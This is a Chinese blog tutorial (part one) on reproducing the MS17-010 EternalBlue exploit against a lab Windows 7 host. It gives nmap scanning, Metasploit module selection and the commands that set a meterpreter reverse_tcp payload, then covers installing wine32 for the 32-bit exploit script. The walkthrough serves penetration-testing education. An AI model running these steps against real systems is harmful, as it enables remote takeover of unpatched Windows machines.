MS17-010永恒之蓝漏洞利用,win32安装,windows 7 32位(一)

简介: MS17-010永恒之蓝漏洞利用,win32安装,windows 7 32位

漏洞复现:MS17-010


漏洞利用的条件:1.靶机开启445端口(如果未打开该端口将会攻击失败,百度打开445端口)


                            2.关闭防火墙


靶机:windows 7(未知X32位还是X64位) ip:192.168.1.9


攻击机:kali linux (X64) ip:192.168.1.101


使用工具:meatsploit,nmap


前期准备工作:由于kali是64位,如果windows 7 是32 位,所以我们得安装wine32环境,并且下载32位操作系统的永恒之蓝漏洞利用脚本。可参考文章后面大佬的博客,也可阅读本文。如果是X64位操作系统则不用安装。


第一部分:主机发现(nmap)


打开nmap进行主机发现,可以扫描到主机的IP地址,端口号,服务器的版本等其他信息


Nmap -A 192.168.1.0/24

ed682db224184e70997a775c81679aef.png


发现靶机开放445端口,那么我们就可以利用该端口进行渗透


第二部分:metasploit工具进行漏洞利用


1.启动该工具

msfconsole


63ffd60c7dc04fe292617e5f23e7db55.png


2. 查找永恒之蓝漏洞利用脚本


search ms17-010


833ca24ee5514c279605c0ae5d2de8e2.png


可以看到有这样几种攻击脚本 (第四个脚本文章会详细说明如何安装),exploit开头的是漏洞利用模块,可以用来进行攻击;auxiliary是漏洞辅助模块,可以查询漏洞的详细信息等。


3.我们先用auxiliary是漏洞辅助模块,查询漏洞的详细信息,如下图所示

use 3   #使用该模块
show options   #显示需要设置的参数
set rhosts 192.168.1.9   #设置靶机的IP地址


18d26f9b41c84eec8ac1816ab4cf9fbe.png


4.查看漏洞利用payload


show payloads


5a67a8134e514ea9916f32994b4b70a6.png


5.设置攻击用到的payloads


set payloads windows/x64/meterpreter/reverse_tcp  #设置payloads
run  #开始进行漏洞利用攻击(输入exploit也可以反弹出交互式shell)


c8aec4f5d3154c9d9fac53ac97656389.png


可以看到提示信息,该主机可能存在这个漏洞


6.接下来我们使用exploit模块(步骤同上,原理同上)------如果未知靶机是多少位的操作系统,我们先用常规的用来测试X64位操作系统

search ms17-010   #查询漏洞利用脚本
use 0   
set payloads windows/x64/meterpreter/reverse_tcp
show options

5bd81459175a455394ef009d2825bc36.png

set rhosts 192.168.1.9   #靶机的IP地址
run 

image.png


本次运行的结果如下,可以看到攻击失败,同时给与提示,该模块只能攻击X64位操作系统,说明我们的靶机是X32位


ef03549c18e84f9f9c8bd7c6196a7e26.png


7.确定靶机是X32位操作系统,安装wine 32环境,安装攻击32位操作系统所用的的脚本


安装wine 32 位环境:

方法一:

apt-get install wine32

36d7e61626854b9f8a66143f9f47ee8c.png


在执行exploit时可能会出现 :


it looks like wine32 is missing, you should install it.


multiarch needs to be enabled first. as root, please


execute "dpkg --add-architecture i386 && apt-get update && apt-get install wine32"


按照上面的方法dpkg --add-architecture i386 && apt-get update && apt-get install wine32即可


apt-get install wine32


dpkg --add-architecture i386 && apt-get update && apt-get install wine32


f3dc57acab214db1aeaf05715edad0db.png


验证是否安装成功


wine --version
  wine cmd.exe


3737f0ef7c5e40ad8a3dd04750a21f1f.png


用wine32执行cmd.exe


wine cmd.exe


486f268ced844f4a8565a4c70166e118.png


如上图所示,即wine 32 安装成功

方法二:(仅供参考)

使用终端输入下列命令


dpkg --add-architecture i386    #这是让Linux安装32位架构,好兼容32位的程序
执行完毕之后再次执行
apt-get update && apt-get install wine32
apt-get install wine32
dpkg --add-architecture i386 && apt-get update &&      
cmdand cmdand> cmd.exe   #输入cmd.exe
dpkg --add-architecture i386 && apt-get update && apt-get install wine32
相关文章
|
5月前
|
人工智能 JavaScript 开发工具
极速上手!Claude Code 原生支持 Windows 免WSL安装教程
Claude Code 现已支持 Windows 原生运行,无需 WSL 配置。本文提供详细安装教程,涵盖 Node.js 环境验证、Git 安装及 Claude Code 配置步骤,助你快速上手这一强大 AI 编程工具。
4086 5
|
5月前
|
存储 虚拟化 Windows
VMware安装Windows10
本案例介绍了在Windows系统上使用VMware Workstation 17.5 Pro安装配置Windows 10虚拟机的详细步骤,包括所需设备、软件下载链接、虚拟机设置及系统安装全过程。
2513 133
VMware安装Windows10
|
6月前
|
Ubuntu Unix Linux
在Windows上轻松安装和使用Ubuntu的方法详解
继续点击“Continue”按钮以继续安装流程,随后选择清理磁盘并安装操作系统的选项。 接下来,在安装过程中,你需要选择时区。为了与你的地理位置相匹配,请选择中国上海作为你的时区设置。 在安装过程中,你还需要设置计算机的名称以及账号密码。请务必牢记这些信息,因为它们将作为你登录系统的凭证。
|
4月前
|
安全 Ubuntu iOS开发
Nessus Professional 10.10 Auto Installer for Windows - Nessus 自动化安装程序
Nessus Professional 10.10 Auto Installer for Windows - Nessus 自动化安装程序
233 3
Nessus Professional 10.10 Auto Installer for Windows - Nessus 自动化安装程序
|
5月前
|
安全 数据安全/隐私保护 Windows
ZyperWin++使用教程!让Windows更丝滑!c盘飘红一键搞定!ZyperWin++解决系统优化、Office安装和系统激活
ZyperWin++是一款仅5MB的开源免费Windows优化工具,支持快速优化、自定义设置与垃圾清理,兼具系统加速、隐私保护、Office安装等功能,轻便无广告,小白也能轻松上手,是提升电脑性能的全能管家。
1760 0
|
6月前
|
Ubuntu Linux Windows
如何在Ubuntu系统中安装Wine,借此来运行Windows程序
熟悉的登录画面出现,在Ubuntu系统中扫描登录微信程序。
|
6月前
|
Ubuntu Linux Shell
手把手教你安装适用于Linux的Windows子系统——Ubuntu
重启完成,你看看重新打开Ubuntu是不是发生了变化,等待几分钟,系统配置完成,根据提示设置用户名和密码即可
|
6月前
|
Ubuntu Linux 数据安全/隐私保护
Windows上快速安装Linux子系统Ubuntu
Installing, this may take a few minutes...WslRegisterDistribution failed with error: 0x800701bcError: 0x800701bc WSL 2 ?????????????????? https://aka.ms/wsl2kernelPress any key to continue... 原因是 wsl1 升级到 wsl2 之后,内核却没有升级。 解决:下载最新的wsl安装包(wsl安装包)